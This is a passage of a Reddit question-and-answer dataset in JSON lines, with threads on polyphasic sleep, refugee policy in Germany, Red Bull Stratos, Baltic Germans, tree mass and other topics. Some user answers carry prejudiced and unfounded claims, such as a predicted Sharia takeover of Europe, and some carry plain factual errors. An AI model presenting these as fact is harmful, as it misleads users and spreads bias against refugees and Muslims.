felt well-rested and had tons of time. \n\nNow the bad parts.  In no way is it practical. For the first week you will feel like death. Its horrible. Once you get accustomed to the schedule you cannot break it, period. It also requires an alarm clock every time you sleep.  You can't wake up naturally from 20 minutes of sleep, and if you oversleep you've destroyed your schedule. If you miss one sleep cycle you have to start over from the beginning. You will feel horrible for another few days. This means that you have no opportunity to do anything that requires more than about 4 hours of time. Friends going to the zoo for the day?  Sucks to be you, you have to take a 20 minute nap every 4 hours. There is no way you can keep anything even close to resembling a normal schedule because your sleep requirements are so strict. Everybody else is on an 8 hour workday with 8 hours of sleep at night schedule. This does not mesh well with the uberman requirements. The only reason I was able to pull it off was because I stayed in my college town for the summer, taking one class, and none of my friends stayed. Of course, this is only my experience with it. \n\ntl;dr: It works okay, but has 0 practicality. ", "To get the most out of sleep possible, you need to go through the entire sleep cycle at least once. It's pretty doubtful you can go through the entire cycle in twenty minutes. If you don't get enough slow wave sleep, your declarative memory will be impaired. Long term, this would leave you with cognitive deficits, so it doesn't seem super great.\n\nExtending the 20 minute nap to a 90 minute nap (the average length of a sleep cycle) every four hours might work, but it probably would be a lot harder to accomplish (not that the original schedule looks easy at all).", "Disrupting sleeping patterns is known to be carcinogenic (see: night shift/ swing shifts and cancer) atleast is part. Is this due to a disruption of the melatonin cycle or are some other clock genes involved in DNA repair (both are thought to be true: see melatonin or mPeriod2  &  c-myc) remains to be proven ", "Someone did an AMA a while back claiming he'd been on the uberman sleep schedule for years and felt great. He wrote paragraphs and paragraphs defending his claims from many skeptics, and seemed to be convincing quite a few people that it's a better way of life.\n\nThen he casually mentioned that he \"occasionally\" did a bit of speed to get through the rough spots. People who minutes before were beginning to begrudgingly accept his claims quickly ripped him a new asshole for not thinking to mention this before. God, it was hilarious."]}, "title_urls": [], "selftext_urls": ["http://vladdolezal.com/blog/2008/ubermans-sleep-schedule-six-incredibly-awesome-mind-states-you-can-experience/"], "answers_urls": [["http://www.tandfonline.com/doi/abs/10.1080/02678378908256879"], [], [], [], [], ["http://www.tandfonline.com/doi/abs/10.1080/02678378908256879"], [], [], [], []]}
{"q_id": "ptc9q", "title": "Why do we instinctively tilt our heads back (nose up) when we're in total blackness?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ptc9q/why_do_we_instinctively_tilt_our_heads_back_nose/", "answers": {"a_id": ["c3s2ozn"], "score": [2], "text": ["I dont know this at all but ill give it a shot, probable because we look for the absolute light in the sky which is the sun? Dont take my answer seriuosly"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2exyj6", "title": "what do truckers do at a brake check?", "selftext": "You know those bake check pullouts before a steep hill.  What does a trucker do when they pull over?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2exyj6/eli5what_do_truckers_do_at_a_brake_check/", "answers": {"a_id": ["ck3zsy6", "ck401mj"], "score": [2, 3], "text": ["Check the temperature. If brake pads overheat they will not effectively stop a truck.", "They physically inspect all their brake components for damage and/or wear, and are required by federal law to record the results of their inspection in their driver's vehicle inspection report (DVIR), as well as in the driver's log book.\n\nSee [here](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wisegeek.com/what-do-truckers-do-at-brake-check-areas.htm"]]}
{"q_id": "2bp05d", "title": "why i see cars with hawaii license plates driving in the continental us?", "selftext": "I'm just confused as to how they got here. Do people ship their cars from Hawaii?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bp05d/eli5_why_i_see_cars_with_hawaii_license_plates/", "answers": {"a_id": ["cj7gvvs", "cj7h39y", "cj7h5di", "cj7jiac", "cj7mp5j"], "score": [4, 9, 3, 2, 2], "text": ["It's cheaper to ship a car then sell an otherwise good car and repurchase another similar one if you're moving to the mainland.  ", "They can be shipped on ferrys and things yes", "Military ships cars for free too :D", "I have some friends in Hawaii. They told me it costs about $2000 to ship a car to the mainland. It's not like a ferry. You don't get to ride with the car. It's transported like a package and you have to pick it up in Long Beach, CA. That's the only port they'll ship it to. But then from there you can have it shipped elsewhere in the continental US by truck if you don't want to pick it up and drive it yourself. ", "My sister/brother in law are in the air force on Hickam afb (pearl harbor) . They get a vehicle or two shipped for free when they relocate to a new base.  I bet there's a good chance when you see a Hawaiian plate in the state's, it's someone from the service"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1ajh7g", "title": "What credit and discredit can be given to the idea of 'Perfidious Albion'; that the British have been deceitful throughout history?", "selftext": "I suppose this is one for people who know about the history of international relations, Britain and politics.\n\nThis may be a tough question, at least if you're going further than picking a few acts of treachery/good will from Britains country (as you could do with any country), so I don't mind a book/article suggestion if you have one.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ajh7g/what_credit_and_discredit_can_be_given_to_the/", "answers": {"a_id": ["c8y2wh4"], "score": [9], "text": ["Perfidious doesn't mean deceitful, just changeable and unreliable.  And largely it's true, or at least that perspective is completely sensible.  Since the end of the 100 years war, and especially since the personal union with scotland, british foreign policy has been highly consistent, dedicated to preventing any one power from dominating the continent by building coalitions against them.  This is a policy has led to the UK to do a lot of side switching, which made them seem unpredictable to their allies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11k66k", "title": "in what ways would the data gathered during red bull stratos be useful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11k66k/in_what_ways_would_the_data_gathered_during_red/", "answers": {"a_id": ["c6n75am", "c6n75no", "c6n7mvq", "c6n7rrb", "c6n8hf6"], "score": [25, 8, 10, 6, 2], "text": ["For what it's worth, here's my rather cynical point of view. The quotes are from the [scientific value](_URL_0_) page of Red Bull Stratos home page.\n\n >  Like any transportation system, high-altitude flights need safety procedures; but currently, researchers don't know if it's possible to bail out from ultra-high altitudes.\n\nAnd we still don't know. Baumgartner jumping from his capsule at 39 kilometres is like you making an emergency exit from your car that's standing still on the driveway. Anything actually useful that's at 39 km altitude is not going to be stationary there, it's going to go at a great speed. Probably many times speed of sound.\n\nWell I can think of one thing where this might be relevant. A tourist balloon ride up there just to see the view. Something goes wrong, what do you do? But is it better to throw everyone out of the capsule or maybe install parachutes on the capsule so everyone comes down with it, you know like all the space capsules that return with astronauts.\n\n >  Would a spacesuit provide sufficient protection?\n\nYou can test this in a pressure chamber and/or wind tunnel.\n\n >  Would GPS equipment function\n\nI don't see why not but I'm sure people working with GPS can tell you the definitive answer without you going up there to test it yourself.\n\n >  Could a drogue parachute provide adequate stabilization?\n\nGood question, too bad they didn't use a drogue parachute. Especially since you definitely would use one if survival was the main concern, as it is in emergency exit procedures. A drogue parachute would (supposedly) stabilize you and in general keep things under control. But if you use one then it doesn't count as free fall in the record books. So one was not used here. Also, you can use a wind tunnel.\n\n >  To aid development of a new generation of space suits - including enhanced mobility and visual clarity\n\nAs I said, you can do this in a pressure chamber and wind tunnels much cheaper and with repeated tests. And a pool if you want to simulate zero-gravity, or a parabolic flight if you insist.\n\n >  other systems to lead toward passenger/crew exit from space.\n\nA drogue chute would be one of the key things with this. Furthermore, aside from the possible tourist trip to see the great view, the test isn't really representative of a situation where one would make an emergency exit.\n\n >  To aid development of protocols for exposure to high altitude/high acceleration.\n\nHigh altitude you can do in a pressure chamber. I believe acceleration was pretty much 1g most of the jump. When you open the parachute you get a bit more but not more than in a normal parachute jump since you're going at normal terminal velocity at that point anyway. As for entering the atmosphere and negative acceleration there, I don't think that was really that high, and besides we have equipment to test things on the surface.\n\nAnd besides, you can develop protocols (that is to say, plan for things) without anyone actually doing the jump.\n\n >  To aid exploration of the effects on the human body of supersonic acceleration and deceleration\n\nWhat does supersonic acceleration even mean? Anyway, I'll grant them that a supersonic free fall is something new.\n\n >  development of the latest innovations in parachute systems\n\nLike using a stabilizing drogue parachute at a high altitude jump? Too bad it wasn't tested. The only parachute used was a pretty standard one.\n\nNow if this jump was followed by several more jumps possibly even leading to an orbital jump, then this would make sense. You have to start somewhere so this could be the first (or third?) jump building up to something actually representative of an orbital or a suborbital emergency escape. But no, that's it. I'm afraid that the only point was to sell more energy drinks. Giving it a scientific spin gets people more interested and gets more exposure to said energy drinks.\n\n\n", "Well Timmy you see, no human has travelled the speed of sound without a liquid fueled rocket so this data is useful for us to measure the effects on the body. We can use this data to assist us in breaking the sound barrier here on earth.", "A subsequent spike in sales of Red Bull would be the most sought-after data. ", "By comparing Red Bull sales to time, they could determine how publicity stunts affect their revenue. Though to be honest I'm pretty sure Red Bull has reached the level of Coca-Cola in it's niche market, with 100% saturation of brand awareness.\n\nNo science was done here. Jumping from a slightly higher altitude doesn't introduce any new engineering problems and it doesn't record any new data.", "We make manned faster planes that can fly higher to reduce air resistance. Some of them might have ejection seats. All of them could suddenly end up free falling completely with a breached hull. \n\nDesigning a cheap lifesaving pressure suit with a small parachute for a few hundred passengers might be a good start."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.redbullstratos.com/science/scientific-values/"], [], [], [], []]}
{"q_id": "3jr2ac", "title": "it seems to me that germany has been especially welcoming of refugees during the current european crises. merkel just announced there's no legal limit to the number of migrants germany can accept. why have they been so accommodating, while other countries are so hostile?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jr2ac/eli5_it_seems_to_me_that_germany_has_been/", "answers": {"a_id": ["curk3f5", "curkwoj", "curmjrd", "curmn63", "curmw2p", "curmwsw", "curmyy2", "curnbsb", "curonsn", "cursfu7", "curtd86", "curtncb", "curu123", "curudl4", "curvcsi", "curwq1n", "curxom3", "curzqy6", "cus06u4", "cus1zqx", "cus2qw3", "cus5sus", "cus9ihl", "cusa8lk", "cusagye", "cuscstd", "cusdpy6"], "score": [1945, 45, 198, 5, 38, 110, 15, 6, 30, 2, 38, 12, 2, 2, 13, 8, 3, 7, 4, 2, 23, 4, 2, 13, 3, 2, 4], "text": ["There are a couple of things going on here.  It's a very complex problem and I can only gesture at elements of it. \n\n1. Germany has gotten a lot of bad press lately for its EU politics, in which it has been playing bad cop during the Greece debacle.  Taking in refugees is an astoundingly good PR move.\n\n2. Germany actually can take in refugees. It has a uniquely strong economy in a Europe still recovering from massive economic turmoil and its market and welfare state can absorb them.\n\n3. Germany actually *needs* new blood.  Germans do not replace themselves in sufficient numbers (get boning, Germans, seriously. What are you, pandas?) and the country has long relied on guestworkers to supply necessary labour.  Its welfare state and pension plans will be truly messed up if they don't keep bringing in immigrants.\n\n4. Because of Germany's terrible history, the country does feel a moral obligation to do better--and so there actually is political will to take them in. \n\nEdit: Thanks so much for the gold! I'm going to go gift an equivalent amount (and then some) to a charity that looks after refugees or Syrian War victims. Any preferred suggestions?\n\nEdit 2: I'll be making a donation to the [International Rescue Committee](_URL_0_). It was founded Germans, including Albert Einstein, during one of the country's darkest years and so feel's kind of appropriate. The IRC has been helping refugees and victims of war and instability ever since.  I hope some of you fine folks donate, too. Thanks /u/ImOnTheLoo for the suggestion. ", "tl;dr answer: Money. Other countries don't have enough money, and too many people.\n\nGermany has a lot of money, and a surprising labor shortage, they can use the injection of people with children. They are also really good about teaching skilled labor, something the US needs to replicate.", "German here - another point which hasn't been mentioned: \n\nThe Neo-Nazi Right is growing at an alarming rate in Germany, anti-immigrant marches are on the up, and an abhorrent number of arson attacks have been made on temporary housing for asylum seekers, with some even leading to refugee fatalities. \n\nThe vast majority of German's are terrified by this development, and there is a general sentiment that the Right's increasing efforts need to be matched and overpowered by the less-shitty people. There is a general feeling that a point needs to be made about the kind of country that Germany is now, and the kind of ideas we represent. ", "You have some good explanations regarding why Germany are so welcoming, the reason why some other countries are so hostile hasn't been mentioned.\n\nMost European countries have a large capacity to take in refugees, the hostility is largely political. The more right-wing parties are doing the usual thing of placing all the ills of their societies at the feet of migrants. Refugees aren't coming to Europe to escape they're just here for a free handout. \n\nIt's similar to Donald Trumps stupid remarks about Mexicans being drug mules and rapists. It creates an \"us v them\" mentality that panders to a certain demographic that enjoys a less analytical approach to reality.", "I can tell you why we, Poland, do not want to take any \"refugees\", it is because:\n\n* Most of them don't have any documents/id, you can't tell if certain person is really a refugee from war zone, economic migrant, or hidden ISIS terrorist\n\n* Because we simply don't have money - millions of Poles live below standard of poor, often hungry, saving on everything.\n\n* Because most of those \"refugees\" dont want to go to Poland anyway, they know they will get a lot more social benefits in Germany/Other countries than in Poland. In Poland they receive little and they need to hard work to get more. About 95% refugees with asylium in Poland escaping to other countries like Sweden.\n\n* Because we dont owe them anything, Poland never had any colonies in Africa or anywhere else, we never enslaved Black people (even more - we helped them getting free from French occupation in Napolean times in Haiti: _URL_0_). Wester Europe did such things, if they feel obligated to help those ppl - allright, but we dont have any moral debt to them.\n\n* Becuse we want to protect our cultural heritage. Muslim families has avg. 5 kids, while Polish - 1,3. It's pretty similar in rest of EU countries. By taking so much immigrants, Germany (also France and Sweden) will become muslim country in the next 20-30 years. There is danger that Islamic Sharia Law will replace democracy when they finally become majority in 20-30 years, which means for ex.: no free elections, no beer in the park, no womens behind the wheel, and head cutted off if you insult their prophet. We simply don't want that in Poland.\n\nI hope it helps understand our attitude, and sorry for my bad english.", "I can't speak to Germany, but I grew up in a neighbourhood heavily populated by refugees from Lebanon in whatever conflict they were having in the 1980s.\n\nI can completely understand the NIMBYism of the European countries as a result of my experiences.\n\nTens of thousands of refugees concentrated in one place is a great breeding ground for Old World style ethnic conflict and organised crime to take root, not to mention their teenagers and young adults getting together in groups and acting like assholes together.\n\nDecades later I moved to a neighbourhood full of refugees from Somalia. It's the only time in my entire life living in Canada that I was the victim of random street violence.\n\nSo I can understand their reservations.\n\nAt the same time as living in \"Little Lebanon\", I had a few good friends who were Arabic, but they were what you could call \"normal\" immigrants from Lebanon and Jordan.\n\nThey applied, had educations, job prospects, money saved up, they were prepared for the move and made a smooth transition. I've also had personal and professional relationships with immigrants from Ethiopia and Haiti.\n\nThe difference between the immigrant versus refugee interactions was staggering. I don't have the answers to how to solve the problem, but I do understand people's reservations behind taking refugees in to their own back yard.", "Good lord, so much misinformation here.\n\nGermany has said that they will accept 80,000 APPLICATIONS. Not refugees. They will accept MAYBE 35% of that number.", "Due to their history, they take human rights seriously on all levels. Even if someone were to make a law to kick them out, the consitutional court would likely rule it incompatible with human rights and thus illegal, nullify the law, and let them stay.\n\nOther countries don't have issues with being openly racist, especially since often large parts of the population stand behind that. In Switzerland, gun laws explicitly contain a list of nationalities that are not allowed to own firearms, just like that, zero fucks given whether that's discrimination or not.", "I asked my German colleague exactly this at work yesterday.  She said: \n\n\"It's because many people in Germany still remember what it was like to be a refugee.  Too many people have it too easy in the world today, and don't know what it means to suffer, so they don't want to help other people.  I have many of my friends and family at home [in Berlin] going out to the camps to help the people and the little children after work, on the weekends- whenever they can.  You don't hear about this on the news.\"", "Could an out-of-work American apply there for refugee status?", "As a European (British) I'm getting more concerned with immigration.  I'd consider myself a pretty liberal guy, but even I can admit that it's no accident that more and more people in Europe are growing uneasy with taking in refugees/migrants.  For me personally, it has to do with religion and cultural differences.  There are large Muslim communities in the UK that seem totally separated from the rest of society.  It's almost like they live in their own country within a country.  They are having a lot more children and their population is growing at quite an alarming rate.  They go to all-Muslim schools, or even worse \"Faith Schools\" that teach what they want to teach, often things that are at odds with a western democratic society.  What we're getting is an ever widening segregation between the British public and the Muslim communities.  This is breeding a lot of unrest, fear and conflict.  A lot of mistakes have been made in Europe in regards to this issue and it's only going to get worse.  There will be a breaking point.  \n\nFor what it's worth, I'm not in any way anti-immigration, and I would be supportive towards taking in refugees, BUT ONLY IF once they get here they were put into social programs that would help them integrate fully within British society instead of forming isolated communities which would only make the current problem worse.      ", "I am German.\n\nFrom my point of view, a lot of people do not want to have this many immigrants/asylum seekers here. However, the majority also believes, that people who are in immidiate danger, like being in a war area need to be protected.\n\nThe pictures and videos you see, where people cheer that refugees arrive, just represent a small portion of German people. I do not have a problem with this, everyone can do whatever he likes, but I see problems with the message this send to other refugees (together with Merkels statements).\n\nIt is a fact that the majority of the refugees coming here, will never integrate and will never be economically independent from social welfare. Also, Germany is an expensive country, so even if they get 400 Euros per months, they cannot save so much (legally) that it really worth for them being here instead of other European countries. SO eventually the expectations they have when seeing those welcoming people and politicians are not the reality.", "Germany is doing what is right, its helping refuges fleeing from a war zone, some are asylum seekers, some will get to stay, but only a few will be allowed to remain once the war in Syria has ended. Then their temporary permit of residence will expire and they will get to move back home.\n\nContrary to Sweden, who are giving away Permanent Permits of residence (that is, granting them Swedish citizenships) to all people who claim to be from Syria.", "It could also have to do with the Dublin regulation. The [Dublin Regulation](_URL_0_) forces refugees to stay in the country that they land in, however it has currently been suspended. Because Germany is not a border country with any of countries the immigrants are migrating from, they can currently take more immigrants. Mix this with Germany having one of the strongest economies in the EU and it makes them one of the best suited to help in the crisis. Countries like Greece have been hit hard, seeing a 50% increase in the illegal border crossings in the last year. Germany also has better Immigration facilities. They are better equipped to handle large groups of immigrants. Have better systems to differentiate between who is an economic immigrant and who is a refugee seeking asylum. Countries like Greece and Hungary are facing health crisis with so many immigrants being detained in one place. \nHope this sheds some light on the situation. ", "1) Their economy is doing good so they can handle an influx of refugees. \n\n2) They are in a lot of political bad press right now with how they have been handling the Euro and the debt Crisis in many other European Nations. (They are forcing Austerity Measures across the board). \n\n3) Germany's Birth rate is 1.38 and you need a birth rate of 2.2 to maintain a countries population. They actually need to have immigrants or they will collapse as the country ages. \n\n4) Germany wants to avoid anything that even resembles the racist actions taken during the Nazis Era. This is a very big fear for the Government and many citizens in German. ", "It's all about guilt. Germany needs to let that go, stand strong and be the country they are now, not crumble to the guilt of past failures. It's a powerhouse and they need to be proud of what they've achieved. They should (as we all should) bring in their fair share of refugees but they need to lose the apologetic nature of their dialogues and move on up. They are muscle, they just forgot how to use it. ", "To be the pessimist, is it at all a factor that refugees cant just \"get\" to Germany as there are other countries along the way? Sort of like, we welcome you, but people do stop along the way and just try to live where they are.", "Germany does not have a conservative/right wing party. They have one that is mildly fiscally conservative but not on an ideological basis. (just the business owner and taxpayer pressure)\n\nBeginning in the 60's the left wing movement succeeded, at least as far as german intellectual culture goes, in painting facism/hitlerism as the logical conclusion of conservative or really any non-marxist thought. \n\nThe full time culture producing classes were purged of those influences, as was the school system. Something that wasn't very obvious before the fall of the Berlin wall because the political pressures of the time still maintained a pro american/capitalist ruling class and especially media. These needed the usual ideological justification.\nThis I think is something that is quite rapidly disintegrating. \n\nFrom the hard left's point of view, german culture is not accepted as being a proper or 'non-fascist culture' at all, thus it has nothing to fear from being put under pressure by constant dilution. (as opposed to say, tibet) In fact this is to be welcomed since german 'culture' really is a sort of cultural cancer that cannot be healed. \n\nNot what they tell you on tv or anything but this is the prominent frankfurt school stuff the left studies. \n\n**edit: Oh crap this is eli5 sorry I didn't see that.", "Two reasons.\n\n1) Guilt over their terrible track record on human rights in history. They want to atone and know full well that if they ignore the human rights of these people then there will be connections drawn to the disregard of human life through nazism.\n\n2) Recently they've had lousy press as being the bully of europe bullying poor Greece. Its basically to get them back in favour and make them look kind and caring again.", "Because housing,feeding and giving monthly allowance to Refugees will be very costly.  If a country does not have a strong Economy and can't even afford helping it's own citizen, then how can they help these migrants.  BTW, most of these \"refugees\" are coming to Europe for a better life, not for safety.  The Syrians are coming from refugee camps in Turkey and paying traffickers to get them to Germany or Sweden.   If the economy of Germany and Sweden weakens, then they too will have a hard time supporting their hundred of thousand refugees.  ", "As somebody who has been a refugee in Germany during the 90s I can tell you one thing that most people don't know about Germany. After the conflict ends and Germany deems the country to be safe then most of the refugees will be told to leave the country. So all the refugees will only stay there temporary. Those who apply for asylum and actually manage to get it granted will be allowed to stay. In the meantime all the refugees will be granted a 'duldung' visa, which is a temporary stay visa, 6 months unless something has changed. Kind of sucks living without knowing what the future will bring. Hardly anybody wants to hire you and even less landlords want to offer you apartments. \n\nSource. Personal experience at the hands of the German government. ", "Unlike the other countries Germany is very business and industry oriented, and they have a much better track record of integrating migrants into their society. This is why they by far have the healthiest and strongest economy in Europe.", "Germany since WW2 has been basically trying to correct its mistake and vowed to never let those events occur again. They are more freedom oriented than the u.s. and have welcomed all forms of refugees.", "Everyone is bashing European countries for their handling of refugees...let me ask you this..How many refugees are the oil rich Saudi nations taking? Which is much much closer and most likely speak the same language and culture.. The answer is Zero...So much for the Muslim brotherhood...\n", "It is wonderful that Germany is taking in all of these Syrian refugees. The picture of that Syrian child who died on the Turkish beach is tragic. ", "Because Germany, unlike France, remembers very well their nazi period and don't want that to happen ever again.", "I hope this gets seen. German taxes 50% of what you make. If i had my own country to tax 50% per user, i wouldn't mind spending millions and receiving millions of people, would pay out massively in the future.* build schools  &  strip clubs ftw"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.rescue.org/"], [], [], [], ["https://en.wikipedia.org/wiki/Haitian_Revolution"], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Dublin_Regulation"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "8xujq4", "title": "what\u2019s the science behind \u201csea legs?\u201d", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8xujq4/eli5_whats_the_science_behind_sea_legs/", "answers": {"a_id": ["e25t9qh"], "score": [12], "text": ["There are several theories about the specific effect but its not important enough to research properly. On a more general level, the human body likes to maintain a lot of \"normal\" conditions, because it functions best when it has some standard patterns to follow. For example, jet lag is the body clock's standard pattern being out of sync with the body clocks of the people in your new location and it takes a long time to adjust it because your own body clock is trying to reach your internalised \"normal\" pattern. \n\nOur balance and a few other motion senses are regulated in a similar way. The orientation of our head is measured using liquid components in our ears for example and this is used to know whether we're vertical or laying down. It would be annoying for the brain if it was constantly taking in and processing new information about your position due to the bobbing of a boat, so after a while it adds some compensatory information which makes it feel like you're standing still even though you're bobbing. It compensates by adding reverse bobbing sensations. So when you step on land and the bobbing sensations disappear, the reverse bobbing sensations are still there because your brain takes some time to adjust to being on stationary land again and during this time it feels like you're bobbing still."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wl1xb", "title": "What would your average home decor look like in Tokugawa Japan?", "selftext": "How about a little earlier in ashikaga japan? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wl1xb/what_would_your_average_home_decor_look_like_in/", "answers": {"a_id": ["cf2zn8s"], "score": [2], "text": ["It depends on which class you are. If you are a chonin (the merchant class), your home decoration might look [something like this](_URL_0_). At the time it's considered luxurious.\n\nChonin is the rising class in Tokugawa Japan, in a similar way to the rise of middle class in modern times. They were put in the lowest in the Japanese class system (shi-no-ko-sho, samurai-farmers-artisans-merchants) because they were seen as not being \"useful\" in terms of not producing anything new, only trading goods and circulating money. However, they have the most cash readily available and were able to pay for the most consumer goods.\n\nTheir home decoration and clothing got as luxurious as samurais were - some samurais even look pretty poor compared to then - until in the midst of Tokugawa period, the shogunate forbid them to display their wealth in public.\n\nMatsunosuke Nishiyama's *Edo Culture: Daily Life and Diversions in Urban Japan, 1600-1868* explains this in a lot of details.\n\nAs for Ashikaga period, it was a completely different time and I think I can't help you on that..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/a/ae/Edo_Hibachi.JPG"]]}
{"q_id": "6qcnxc", "title": "why do so many former drug/alcohol addicts turn to endurance exercising?", "selftext": "My perceptions could be inaccurate but I've seen a lot of stories highlighting former addicts turning to things such as marathon running, competing in iron man competitions etc.  Is there something that happens physiologically that causes this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6qcnxc/eli5_why_do_so_many_former_drugalcohol_addicts/", "answers": {"a_id": ["dkw8l43", "dkw95fx"], "score": [3, 3], "text": ["Addictive behavior is, to some degree a built-in personality trait. So giving the person a new interest that they can obsess about, one that requires huge amounts of repetition and persistence, can act as a good new place to channel this energy.\n\nAlso, it's simply a great distraction: you can't run a marathon with a 12-pack of beer in your hand.", "There's a phenomena known as a runner's high which is much more than mental. From [WebMD](_URL_0_):\n*When you exercise, your body releases chemicals called endorphins. These endorphins interact with the receptors in your brain that reduce your perception of pain. Endorphins also trigger a positive feeling in the body, similar to that of morphine.*\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.webmd.com/depression/guide/exercise-depression#1"]]}
{"q_id": "89lmys", "title": "Where there many ethnic Germanic majority areas or cities in what's now Estonia/Latvia/Lithuania in the 16th-19th centuries? Or were they more spread out, or simply not there in high-numbers?", "selftext": "I've read a tiny bit about the emigration and expulsion of Germans in the 20th century, but what about before then?  \nWhere there any (unofficial) enclaves of Germanic people or were they more smoothly integrated? or?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/89lmys/where_there_many_ethnic_germanic_majority_areas/", "answers": {"a_id": ["dyqhd0w"], "score": [2], "text": ["Because I have studied Estonian history and I am Estonian myself, I can mainly give an answer about the situation in Estonia.\n\nAs far as their numbers go, Baltic-Germans were never very numerous. According to the Russian Empire Census  there were only 180,000 Baltic Germans in Russia's Baltic provinces (moderen day Estonia and Latvia (except Latgale region)). In comparison at that time (1897) population of those provinces was arround 2,4 million. That means that Germans weren't there in high-numbers.\n\nWhile Germans weren't very numerous, they had control over most cities. During that timeline (16th-19th century) most prominent cities in modern-day Estonia (Tallinn, Tartu, P\u00e4rnu, Viljandi, Narva) still followed Hanseatic laws. That meant that city officials were chosen up until early 19th century only amongst the German merchants. That meant that city was run by Germans and was mainly meant for Germans. That of course attracted Germans from countryside and from abroad. Until industrialisation took place in early 19th century most cities had German or sometimes Scandinavian high-end crafters (bakers, goldsmith, shoemakers etc) and merchants, while most Estonians worked as less valued crafters (f.e builders, butchers, gravediggers etc). Cities became more Estonian after industrialisation started to take off. During that time period local peasentry was freed from serfdom and thanks to industrialisation those peasents were able to become laborers in newly created factories. This pattern was common ammongst the towns that were given city rights before Russia conquered modern-day Estonia. Most of them were trading towns and that is why those towns had mainly Germans or otherwise non-Estonian population. During Russian rule Russia also created few administrative and later even few industrious towns. Most notably such towns were V\u00f5ru and Paide (V\u00f5ru gained and Paide regained it's city rights during rule of Catherine the Great). Because such towns didn't had historical precedent for German population, they ended up having mainly Estonian population even during 18th century.\n\nOutside of cities, most Germans were landowners/manorholders and because of that they ended up living far away from each other in their castles or manors. That is why outside of cities there weren't any significant Germanic majority areas. \n\nMost likely modern-day Latvia (except Latgale region) experienced similar situation as modern-day Estonia because both areas were under German jurisdiction and administration. This special status lasted until the beginning of the russification in the Baltic Provinces in 1876. \n\nI don't know much about Lithuanian history and because of that I can't give an answer about the situation in Lithuania. \n\nHopefully my answer was helpful :)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19fof1", "title": "If you plant a tree in a pot, once the tree has grown it takes up weight, but the amount of dirt in the pot has not decreased. Where does the extra weight of the tree come from? (Repost from /r/askreddit)", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19fof1/if_you_plant_a_tree_in_a_pot_once_the_tree_has/", "answers": {"a_id": ["c8nlioz", "c8nltfa", "c8nmctf"], "score": [13, 4, 7], "text": ["This question is commonly asked. Most of the mass comes from the carbon in the CO2 that the plant absorbs, and also from water and minerals. Keep in mind, plants don't absorb soil, so it won't decrease by much. Pretty amazing when you think about it, since people usually don't consider gasses to take up much mass. But like all substances, they add up, and CO2 is an organic molecule with a medium/moderate mass. It's pretty heavy compared to H2O.\n\nEdit:clarified", "One of my favourite YouTubers has a video [talking about where trees get their mass](_URL_0_)", "TIL: Trees are made of air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=2KZb2_vcNTg"], []]}
{"q_id": "1x69ym", "title": "how does the pokemon bank work? what can i do with it? i'm considering getting it", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x69ym/eli5_how_does_the_pokemon_bank_work_what_can_i_do/", "answers": {"a_id": ["cf8ih7a", "cf8pgyr"], "score": [5, 2], "text": ["Pokebank is a 3DS application which allows you to store 3000 Pokemon on a server provided by Nintendo. That's it. The other guy who said X and Y only has 15 boxes is wrong, It has 30 boxes + a battle box with allows for 906 total Pokemon locally storedv(source: I have a living dex with all currently released 718 Pokemon). Also it is not $5/month as he stated either, it is $5/year and the first month is free.\n\nThis partnered with the Pokemon transporter application can allow you to transfer Pokemon from the Gen 5 games.\n\nGen 5 game >  Pokemon Transporter >  Pokebank  >  Gen 6 game.\n\nor \n\nGen 6 >  Pokebank >  Gen 6.", "Hey guys I think I can answer some of your questions I traded my white 2 pokemon to pokemon Y then I put all my pokemon (10 boxes of pokemon) into the pokemon bank and started a new game as soon as I got to the first pokemon center in pokemon Y I put all the pokemon from pokemon bank back into my pc and there they were. So yes you can put pokemon into bank then start a new game and you can still get them back"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
